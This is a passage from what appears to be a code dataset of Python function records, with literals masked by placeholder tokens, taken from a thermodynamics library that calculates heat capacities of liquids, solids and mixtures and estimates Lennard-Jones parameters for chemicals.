which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        and :obj:`all_methods` as a set of methods for which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15792:c3:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == ZABRANSKY_SPLINE:<EOL><INDENT>return self.Zabransky_spline.calculate(T)<EOL><DEDENT>elif method == ZABRANSKY_QUASIPOLYNOMIAL:<EOL><INDENT>return self.Zabransky_quasipolynomial.calculate(T)<EOL><DEDENT>elif method == ZABRANSKY_SPLINE_C:<EOL><INDENT>return self.Zabransky_spline_iso.calculate(T)<EOL><DEDENT>elif method == ZABRANSKY_QUASIPOLYNOMIAL_C:<EOL><INDENT>return self.Zabransky_quasipolynomial_iso.calculate(T)<EOL><DEDENT>elif method == ZABRANSKY_SPLINE_SAT:<EOL><INDENT>return self.Zabransky_spline_sat.calculate(T)<EOL><DEDENT>elif method == ZABRANSKY_QUASIPOLYNOMIAL_SAT:<EOL><INDENT>return self.Zabransky_quasipolynomial_sat.calculate(T)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>return CoolProp_T_dependent_property(T, self.CASRN , '<STR_LIT>', '<STR_LIT:l>')<EOL><DEDENT>elif method == POLING_CONST:<EOL><INDENT>return self.POLING_constant<EOL><DEDENT>elif method == CRCSTD:<EOL><INDENT>return self.CRCSTD_constant<EOL><DEDENT>elif method == ROWLINSON_POLING:<EOL><INDENT>Cpgm = self.Cpgm(T) if hasattr(self.Cpgm, '<STR_LIT>') else self.Cpgm<EOL>return Rowlinson_Poling(T, self.Tc, self.omega, Cpgm)<EOL><DEDENT>elif method == ROWLINSON_BONDI:<EOL><INDENT>Cpgm = self.Cpgm(T) if hasattr(self.Cpgm, '<STR_LIT>') else self.Cpgm<EOL>return Rowlinson_Bondi(T, self.Tc, self.omega, Cpgm)<EOL><DEDENT>elif method == DADGOSTAR_SHAW:<EOL><INDENT>Cp = Dadgostar_Shaw(T, self.similarity_variable)<EOL>return property_mass_to_molar(Cp, self.MW)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>return self.interpolate(T, method)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate heat capacity of a liquid at temperature `T`\n        with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate heat capacity, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Cp : float\n            Heat capacity of the liquid at T, [J/mol/K]", "id": "f15792:c3:m2"}
{"signature": "def calculate_integral(self, T1, T2, method):", "body": "if method == ZABRANSKY_SPLINE:<EOL><INDENT>return self.Zabransky_spline.calculate_integral(T1, T2)<EOL><DEDENT>elif method == ZABRANSKY_SPLINE_C:<EOL><INDENT>return self.Zabransky_spline_iso.calculate_integral(T1, T2)<EOL><DEDENT>elif method == ZABRANSKY_SPLINE_SAT:<EOL><INDENT>return self.Zabransky_spline_sat.calculate_integral(T1, T2)<EOL><DEDENT>elif method == ZABRANSKY_QUASIPOLYNOMIAL:<EOL><INDENT>return self.Zabransky_quasipolynomial.calculate_integral(T1, T2)<EOL><DEDENT>elif method == ZABRANSKY_QUASIPOLYNOMIAL_C:<EOL><INDENT>return self.Zabransky_quasipolynomial_iso.calculate_integral(T1, T2)<EOL><DEDENT>elif method == ZABRANSKY_QUASIPOLYNOMIAL_SAT:<EOL><INDENT>return self.Zabransky_quasipolynomial_sat.calculate_integral(T1, T2)<EOL><DEDENT>elif method == POLING_CONST:<EOL><INDENT>return (T2 - T1)*self.POLING_constant<EOL><DEDENT>elif method == CRCSTD:<EOL><INDENT>return (T2 - T1)*self.CRCSTD_constant<EOL><DEDENT>elif method == DADGOSTAR_SHAW:<EOL><INDENT>dH = (Dadgostar_Shaw_integral(T2, self.similarity_variable)<EOL>- Dadgostar_Shaw_integral(T1, self.similarity_variable))<EOL>return property_mass_to_molar(dH, self.MW)<EOL><DEDENT>elif method in self.tabular_data or method == COOLPROP or method in [ROWLINSON_POLING, ROWLINSON_BONDI]:<EOL><INDENT>return float(quad(self.calculate, T1, T2, args=(method))[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate the integral of a property with respect to\n        temperature, using a specified method.  Implements the \n        analytical integrals of all available methods except for tabular data,\n        the case of multiple coefficient sets needed to encompass the temperature\n        range of any of the ZABRANSKY methods, and the CSP methods using the\n        vapor phase properties.\n\n        Parameters\n        ----------\n        T1 : float\n            Lower limit of integration, [K]\n        T2 : float\n            Upper limit of integration, [K]\n        method : str\n            Method for which to find the integral\n\n        Returns\n        -------\n        integral : float\n            Calculated integral of the property over the given range, \n            [`units*K`]", "id": "f15792:c3:m4"}
{"signature": "def calculate_integral_over_T(self, T1, T2, method):", "body": "if method == ZABRANSKY_SPLINE:<EOL><INDENT>return self.Zabransky_spline.calculate_integral_over_T(T1, T2)<EOL><DEDENT>elif method == ZABRANSKY_SPLINE_C:<EOL><INDENT>return self.Zabransky_spline_iso.calculate_integral_over_T(T1, T2)<EOL><DEDENT>elif method == ZABRANSKY_SPLINE_SAT:<EOL><INDENT>return self.Zabransky_spline_sat.calculate_integral_over_T(T1, T2)<EOL><DEDENT>elif method == ZABRANSKY_QUASIPOLYNOMIAL:<EOL><INDENT>return self.Zabransky_quasipolynomial.calculate_integral_over_T(T1, T2)<EOL><DEDENT>elif method == ZABRANSKY_QUASIPOLYNOMIAL_C:<EOL><INDENT>return self.Zabransky_quasipolynomial_iso.calculate_integral_over_T(T1, T2)<EOL><DEDENT>elif method == ZABRANSKY_QUASIPOLYNOMIAL_SAT:<EOL><INDENT>return self.Zabransky_quasipolynomial_sat.calculate_integral_over_T(T1, T2)<EOL><DEDENT>elif method == POLING_CONST:<EOL><INDENT>return self.POLING_constant*log(T2/T1)<EOL><DEDENT>elif method == CRCSTD:<EOL><INDENT>return self.CRCSTD_constant*log(T2/T1)<EOL><DEDENT>elif method == DADGOSTAR_SHAW:<EOL><INDENT>dS = (Dadgostar_Shaw_integral_over_T(T2, self.similarity_variable)<EOL>- Dadgostar_Shaw_integral_over_T(T1, self.similarity_variable))<EOL>return property_mass_to_molar(dS, self.MW)<EOL><DEDENT>elif method in self.tabular_data or method == COOLPROP or method in [ROWLINSON_POLING, ROWLINSON_BONDI]:<EOL><INDENT>return float(quad(lambda T: self.calculate(T, method)/T, T1, T2)[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate the integral of a property over temperature\n        with respect to temperature, using a specified method.   Implements the \n        analytical integrals of all available methods except for tabular data,\n        the case of multiple coefficient sets needed to encompass the temperature\n        range of any of the ZABRANSKY methods, and the CSP methods using the\n        vapor phase properties.\n\n        Parameters\n        ----------\n        T1 : float\n            Lower limit of integration, [K]\n        T2 : float\n            Upper limit of integration, [K]\n        method : str\n            Method for which to find the integral\n\n        Returns\n        -------\n        integral : float\n            Calculated integral of the property over the given range, \n            [`units`]", "id": "f15792:c3:m5"}
{"signature": "def load_all_methods(self):", "body": "methods = []<EOL>Tmins, Tmaxs = [], []<EOL>if self.CASRN and self.CASRN in _PerryI and '<STR_LIT:c>' in _PerryI[self.CASRN]:<EOL><INDENT>self.PERRY151_Tmin = _PerryI[self.CASRN]['<STR_LIT:c>']['<STR_LIT>'] if _PerryI[self.CASRN]['<STR_LIT:c>']['<STR_LIT>'] else <NUM_LIT:0><EOL>self.PERRY151_Tmax = _PerryI[self.CASRN]['<STR_LIT:c>']['<STR_LIT>'] if _PerryI[self.CASRN]['<STR_LIT:c>']['<STR_LIT>'] else <NUM_LIT><EOL>self.PERRY151_const = _PerryI[self.CASRN]['<STR_LIT:c>']['<STR_LIT>']<EOL>self.PERRY151_lin = _PerryI[self.CASRN]['<STR_LIT:c>']['<STR_LIT>']<EOL>self.PERRY151_quad = _PerryI[self.CASRN]['<STR_LIT:c>']['<STR_LIT>']<EOL>self.PERRY151_quadinv = _PerryI[self.CASRN]['<STR_LIT:c>']['<STR_LIT>']<EOL>methods.append(PERRY151)<EOL>Tmins.append(self.PERRY151_Tmin); Tmaxs.append(self.PERRY151_Tmax)<EOL><DEDENT>if self.CASRN in CRC_standard_data.index and not np.isnan(CRC_standard_data.at[self.CASRN, '<STR_LIT>']):<EOL><INDENT>self.CRCSTD_Cp = float(CRC_standard_data.at[self.CASRN, '<STR_LIT>'])<EOL>methods.append(CRCSTD)<EOL><DEDENT>if self.MW and self.similarity_variable:<EOL><INDENT>methods.append(LASTOVKA_S)<EOL>Tmins.append(<NUM_LIT:1.0>); Tmaxs.append(<NUM_LIT>)<EOL><DEDENT>self.all_methods = set(methods)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin, self.Tmax = min(Tmins), max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        and :obj:`all_methods` as a set of methods for which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15792:c4:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == PERRY151:<EOL><INDENT>Cp = (self.PERRY151_const + self.PERRY151_lin*T<EOL>+ self.PERRY151_quadinv/T**<NUM_LIT:2> + self.PERRY151_quad*T**<NUM_LIT:2>)*calorie<EOL><DEDENT>elif method == CRCSTD:<EOL><INDENT>Cp = self.CRCSTD_Cp<EOL><DEDENT>elif method == LASTOVKA_S:<EOL><INDENT>Cp = Lastovka_solid(T, self.similarity_variable)<EOL>Cp = property_mass_to_molar(Cp, self.MW)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>Cp = self.interpolate(T, method)<EOL><DEDENT>return Cp<EOL>", "docstring": "r'''Method to calculate heat capacity of a solid at temperature `T`\n        with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate heat capacity, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Cp : float\n            Heat capacity of the solid at T, [J/mol/K]", "id": "f15792:c4:m2"}
{"signature": "def calculate_integral(self, T1, T2, method):", "body": "if method == PERRY151:<EOL><INDENT>H2 = (self.PERRY151_const*T2 + <NUM_LIT:0.5>*self.PERRY151_lin*T2**<NUM_LIT:2> <EOL>- self.PERRY151_quadinv/T2 + self.PERRY151_quad*T2**<NUM_LIT:3>/<NUM_LIT>)<EOL>H1 = (self.PERRY151_const*T1 + <NUM_LIT:0.5>*self.PERRY151_lin*T1**<NUM_LIT:2> <EOL>- self.PERRY151_quadinv/T1 + self.PERRY151_quad*T1**<NUM_LIT:3>/<NUM_LIT>)<EOL>return (H2-H1)*calorie<EOL><DEDENT>elif method == CRCSTD:<EOL><INDENT>return (T2-T1)*self.CRCSTD_Cp<EOL><DEDENT>elif method == LASTOVKA_S:<EOL><INDENT>dH = (Lastovka_solid_integral(T2, self.similarity_variable)<EOL>- Lastovka_solid_integral(T1, self.similarity_variable))<EOL>return property_mass_to_molar(dH, self.MW)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>return float(quad(self.calculate, T1, T2, args=(method))[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate the integral of a property with respect to\n        temperature, using a specified method. Implements the analytical\n        integrals of all available methods except for tabular data.\n\n        Parameters\n        ----------\n        T1 : float\n            Lower limit of integration, [K]\n        T2 : float\n            Upper limit of integration, [K]\n        method : str\n            Method for which to find the integral\n\n        Returns\n        -------\n        integral : float\n            Calculated integral of the property over the given range, \n            [`units*K`]", "id": "f15792:c4:m4"}
{"signature": "def calculate_integral_over_T(self, T1, T2, method):", "body": "if method == PERRY151:<EOL><INDENT>S2 = (self.PERRY151_const*log(T2) + self.PERRY151_lin*T2 <EOL>- self.PERRY151_quadinv/(<NUM_LIT>*T2**<NUM_LIT:2>) + <NUM_LIT:0.5>*self.PERRY151_quad*T2**<NUM_LIT:2>)<EOL>S1 = (self.PERRY151_const*log(T1) + self.PERRY151_lin*T1<EOL>- self.PERRY151_quadinv/(<NUM_LIT>*T1**<NUM_LIT:2>) + <NUM_LIT:0.5>*self.PERRY151_quad*T1**<NUM_LIT:2>)<EOL>return (S2 - S1)*calorie<EOL><DEDENT>elif method == CRCSTD:<EOL><INDENT>S2 = self.CRCSTD_Cp*log(T2)<EOL>S1 = self.CRCSTD_Cp*log(T1)<EOL>return (S2 - S1)<EOL><DEDENT>elif method == LASTOVKA_S:<EOL><INDENT>dS = (Lastovka_solid_integral_over_T(T2, self.similarity_variable)<EOL>- Lastovka_solid_integral_over_T(T1, self.similarity_variable))<EOL>return property_mass_to_molar(dS, self.MW)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>return float(quad(lambda T: self.calculate(T, method)/T, T1, T2)[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate the integral of a property over temperature\n        with respect to temperature, using a specified method. Implements the \n        analytical integrals of all available methods except for tabular data.\n\n        Parameters\n        ----------\n        T1 : float\n            Lower limit of integration, [K]\n        T2 : float\n            Upper limit of integration, [K]\n        method : str\n            Method for which to find the integral\n\n        Returns\n        -------\n        integral : float\n            Calculated integral of the property over the given range, \n            [`units`]", "id": "f15792:c4:m5"}
{"signature": "def load_all_methods(self):", "body": "methods = [SIMPLE]        <EOL>if len(self.CASs) > <NUM_LIT:1> and '<STR_LIT>' in self.CASs:<EOL><INDENT>wCASs = [i for i in self.CASs if i != '<STR_LIT>'] <EOL>if all([i in _Laliberte_Heat_Capacity_ParametersDict for i in wCASs]):<EOL><INDENT>methods.append(LALIBERTE)<EOL>self.wCASs = wCASs<EOL>self.index_w = self.CASs.index('<STR_LIT>')<EOL><DEDENT><DEDENT>self.all_methods = set(methods)<EOL>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15792:c5:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == SIMPLE:<EOL><INDENT>Cplms = [i(T) for i in self.HeatCapacityLiquids]<EOL>return mixing_simple(zs, Cplms)<EOL><DEDENT>elif method == LALIBERTE:<EOL><INDENT>ws = list(ws) ; ws.pop(self.index_w)<EOL>Cpl = Laliberte_heat_capacity(T, ws, self.wCASs)<EOL>MW = mixing_simple(zs, self.MWs)<EOL>return property_mass_to_molar(Cpl, MW)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate heat capacity of a liquid mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Cplm : float\n            Molar heat capacity of the liquid mixture at the given conditions,\n            [J/mol]", "id": "f15792:c5:m2"}
{"signature": "def load_all_methods(self):", "body": "methods = [SIMPLE]        <EOL>self.all_methods = set(methods)<EOL>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15792:c6:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == SIMPLE:<EOL><INDENT>Cpsms = [i(T) for i in self.HeatCapacitySolids]<EOL>return mixing_simple(zs, Cpsms)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate heat capacity of a solid mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Cpsm : float\n            Molar heat capacity of the solid mixture at the given conditions, [J/mol]", "id": "f15792:c6:m2"}
{"signature": "def load_all_methods(self):", "body": "methods = [SIMPLE]        <EOL>self.all_methods = set(methods)<EOL>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15792:c7:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == SIMPLE:<EOL><INDENT>Cpgms = [i(T) for i in self.HeatCapacityGases]<EOL>return mixing_simple(zs, Cpgms)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate heat capacity of a gas mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        Cpgm : float\n            Molar heat capacity of the gas mixture at the given conditions,\n            [J/mol]", "id": "f15792:c7:m2"}
{"signature": "def Stockmayer(Tm=None, Tb=None, Tc=None, Zc=None, omega=None,<EOL>CASRN='<STR_LIT>', AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in MagalhaesLJ_data.index:<EOL><INDENT>methods.append(MAGALHAES)<EOL><DEDENT>if Tc and omega:<EOL><INDENT>methods.append(TEEGOTOSTEWARD2)<EOL><DEDENT>if Tc:<EOL><INDENT>methods.append(FLYNN)<EOL>methods.append(BSLC)<EOL>methods.append(TEEGOTOSTEWARD1)<EOL><DEDENT>if Tb:<EOL><INDENT>methods.append(BSLB)<EOL><DEDENT>if Tm:<EOL><INDENT>methods.append(BSLM)<EOL><DEDENT>if Tc and Zc:<EOL><INDENT>methods.append(STIELTHODOS)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == FLYNN:<EOL><INDENT>epsilon = epsilon_Flynn(Tc)<EOL><DEDENT>elif Method == BSLC:<EOL><INDENT>epsilon = epsilon_Bird_Stewart_Lightfoot_critical(Tc)<EOL><DEDENT>elif Method == BSLB:<EOL><INDENT>epsilon = epsilon_Bird_Stewart_Lightfoot_boiling(Tb)<EOL><DEDENT>elif Method == BSLM:<EOL><INDENT>epsilon = epsilon_Bird_Stewart_Lightfoot_melting(Tm)<EOL><DEDENT>elif Method == STIELTHODOS:<EOL><INDENT>epsilon = epsilon_Stiel_Thodos(Tc, Zc)<EOL><DEDENT>elif Method == TEEGOTOSTEWARD1:<EOL><INDENT>epsilon = epsilon_Tee_Gotoh_Steward_1(Tc)<EOL><DEDENT>elif Method == TEEGOTOSTEWARD2:<EOL><INDENT>epsilon = epsilon_Tee_Gotoh_Steward_2(Tc, omega)<EOL><DEDENT>elif Method == MAGALHAES:<EOL><INDENT>epsilon = float(MagalhaesLJ_data.at[CASRN, \"<STR_LIT>\"])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>epsilon = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return epsilon<EOL>", "docstring": "r'''This function handles the retrieval or calculation a chemical's\n    Stockmayer parameter. Values are available from one source with lookup\n    based on CASRNs, or can be estimated from 7 CSP methods.\n    Will automatically select a data source to use if no Method is provided;\n    returns None if the data is not available.\n\n    Prefered sources are 'Magalh\u00e3es, Lito, Da Silva, and Silva (2013)' for\n    common chemicals which had valies listed in that source, and the CSP method\n    `Tee, Gotoh, and Stewart CSP with Tc, omega (1966)` for chemicals which\n    don't.\n\n    Examples\n    --------\n    >>> Stockmayer(CASRN='64-17-5')\n    1291.41\n\n    Parameters\n    ----------\n    Tm : float, optional\n        Melting temperature of fluid [K]\n    Tb : float, optional\n        Boiling temperature of fluid [K]\n    Tc : float, optional\n        Critical temperature, [K]\n    Zc : float, optional\n        Critical compressibility, [-]\n    omega : float, optional\n        Acentric factor of compound, [-]\n    CASRN : string, optional\n        CASRN [-]\n\n    Returns\n    -------\n    epsilon_k : float\n        Lennard-Jones depth of potential-energy minimum over k, [K]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain epsilon with the given\n        inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Stockmayer_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        epsilon for the desired chemical, and will return methods instead of\n        epsilon\n\n    Notes\n    -----\n    These values are somewhat rough, as they attempt to pigeonhole a chemical\n    into L-J behavior.\n\n    The tabulated data is from [2]_, for 322 chemicals.\n\n    References\n    ----------\n    .. [1] Bird, R. Byron, Warren E. Stewart, and Edwin N. Lightfoot.\n       Transport Phenomena, Revised 2nd Edition. New York:\n       John Wiley & Sons, Inc., 2006\n    .. [2] Magalh\u00e3es, Ana L., Patr\u00edcia F. Lito, Francisco A. Da Silva, and\n       Carlos M. Silva. \"Simple and Accurate Correlations for Diffusion\n       Coefficients of Solutes in Liquids and Supercritical Fluids over Wide\n       Ranges of Temperature and Density.\" The Journal of Supercritical Fluids\n       76 (April 2013): 94-114. doi:10.1016/j.supflu.2013.02.002.", "id": "f15793:m0"}
{"signature": "def molecular_diameter(Tc=None, Pc=None, Vc=None, Zc=None, omega=None,<EOL>Vm=None, Vb=None, CASRN='<STR_LIT>', AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in MagalhaesLJ_data.index:<EOL><INDENT>methods.append(MAGALHAES)<EOL><DEDENT>if Tc and Pc and omega:<EOL><INDENT>methods.append(TEEGOTOSTEWARD4)<EOL><DEDENT>if Tc and Pc:<EOL><INDENT>methods.append(SILVALIUMACEDO)<EOL>methods.append(BSLC2)<EOL>methods.append(TEEGOTOSTEWARD3)<EOL><DEDENT>if Vc and Zc:<EOL><INDENT>methods.append(STIELTHODOSMD)<EOL><DEDENT>if Vc:<EOL><INDENT>methods.append(FLYNN)<EOL>methods.append(BSLC1)<EOL><DEDENT>if Vb:<EOL><INDENT>methods.append(BSLB)<EOL><DEDENT>if Vm:<EOL><INDENT>methods.append(BSLM)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == FLYNN:<EOL><INDENT>sigma = sigma_Flynn(Vc)<EOL><DEDENT>elif Method == BSLC1:<EOL><INDENT>sigma = sigma_Bird_Stewart_Lightfoot_critical_1(Vc)<EOL><DEDENT>elif Method == BSLC2:<EOL><INDENT>sigma = sigma_Bird_Stewart_Lightfoot_critical_2(Tc, Pc)<EOL><DEDENT>elif Method == TEEGOTOSTEWARD3:<EOL><INDENT>sigma = sigma_Tee_Gotoh_Steward_1(Tc, Pc)<EOL><DEDENT>elif Method == SILVALIUMACEDO:<EOL><INDENT>sigma = sigma_Silva_Liu_Macedo(Tc, Pc)<EOL><DEDENT>elif Method == BSLB:<EOL><INDENT>sigma = sigma_Bird_Stewart_Lightfoot_boiling(Vb)<EOL><DEDENT>elif Method == BSLM:<EOL><INDENT>sigma = sigma_Bird_Stewart_Lightfoot_melting(Vm)<EOL><DEDENT>elif Method == STIELTHODOSMD:<EOL><INDENT>sigma = sigma_Stiel_Thodos(Vc, Zc)<EOL><DEDENT>elif Method == TEEGOTOSTEWARD4:<EOL><INDENT>sigma = sigma_Tee_Gotoh_Steward_2(Tc, Pc, omega)<EOL><DEDENT>elif Method == MAGALHAES:<EOL><INDENT>sigma = float(MagalhaesLJ_data.at[CASRN, \"<STR_LIT>\"])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>sigma = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return sigma<EOL>", "docstring": "r'''This function handles the retrieval or calculation a chemical's\n    L-J molecular diameter. Values are available from one source with lookup\n    based on CASRNs, or can be estimated from 9 CSP methods.\n    Will automatically select a data source to use if no Method is provided;\n    returns None if the data is not available.\n\n    Prefered sources are 'Magalh\u00e3es, Lito, Da Silva, and Silva (2013)' for\n    common chemicals which had valies listed in that source, and the CSP method\n    `Tee, Gotoh, and Stewart CSP with Tc, Pc, omega (1966)` for chemicals which\n    don't.\n\n    Examples\n    --------\n    >>> molecular_diameter(CASRN='64-17-5')\n    4.23738\n\n    Parameters\n    ----------\n    Tc : float, optional\n        Critical temperature, [K]\n    Pc : float, optional\n        Critical pressure, [Pa]\n    Vc : float, optional\n        Critical volume, [m^3/mol]\n    Zc : float, optional\n        Critical compressibility, [-]\n    omega : float, optional\n        Acentric factor of compound, [-]\n    Vm : float, optional\n        Molar volume of liquid at the melting point of the fluid [K]\n    Vb : float, optional\n        Molar volume of liquid at the boiling point of the fluid [K]\n    CASRN : string, optional\n        CASRN [-]\n\n    Returns\n    -------\n    sigma : float\n        Lennard-Jones molecular diameter, [Angstrom]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain epsilon with the given\n        inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        molecular_diameter_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        sigma for the desired chemical, and will return methods instead of\n        sigma\n\n    Notes\n    -----\n    These values are somewhat rough, as they attempt to pigeonhole a chemical\n    into L-J behavior.\n\n    The tabulated data is from [2]_, for 322 chemicals.\n\n    References\n    ----------\n    .. [1] Bird, R. Byron, Warren E. Stewart, and Edwin N. Lightfoot.\n       Transport Phenomena, Revised 2nd Edition. New York:\n       John Wiley & Sons, Inc., 2006\n    .. [2] Magalh\u00e3es, Ana L., Patr\u00edcia F. Lito, Francisco A. Da Silva, and\n       Carlos M. Silva. \"Simple and Accurate Correlations for Diffusion\n       Coefficients of Solutes in Liquids and Supercritical Fluids over Wide\n       Ranges of Temperature and Density.\" The Journal of Supercritical Fluids\n       76 (April 2013): 94-114. doi:10.1016/j.supflu.2013.02.002.", "id": "f15793:m1"}
{"signature": "def sigma_Flynn(Vc):", "body": "Vc = Vc*<NUM_LIT>  <EOL>sigma = <NUM_LIT>*(Vc**(<NUM_LIT:1>/<NUM_LIT>))**<NUM_LIT><EOL>return sigma<EOL>", "docstring": "r'''Calculates Lennard-Jones molecular diameter.\n    Uses critical volume. CSP method by [1]_ as reported in [2]_.\n\n    .. math::\n        \\sigma = 0.561(V_c^{1/3})^{5/4}\n\n    Parameters\n    ----------\n    Vc : float\n        Critical volume of fluid [m^3/mol]\n\n    Returns\n    -------\n    sigma : float\n        Lennard-Jones molecular diameter, [Angstrom]\n\n    Notes\n    -----\n    Vc is originally in units of mL/mol.\n\n    Examples\n    --------\n    >>> sigma_Flynn(0.000268)\n    5.2506948422196285\n\n    References\n    ----------\n    .. [1] Flynn, L.W., M.S. thesis, Northwestern Univ., Evanston, Ill. (1960).\n    .. [2] Stiel, L. I., and George Thodos. \"Lennard-Jones Force Constants\n       Predicted from Critical Properties.\" Journal of Chemical & Engineering\n       Data 7, no. 2 (April 1, 1962): 234-36. doi:10.1021/je60013a023", "id": "f15793:m2"}
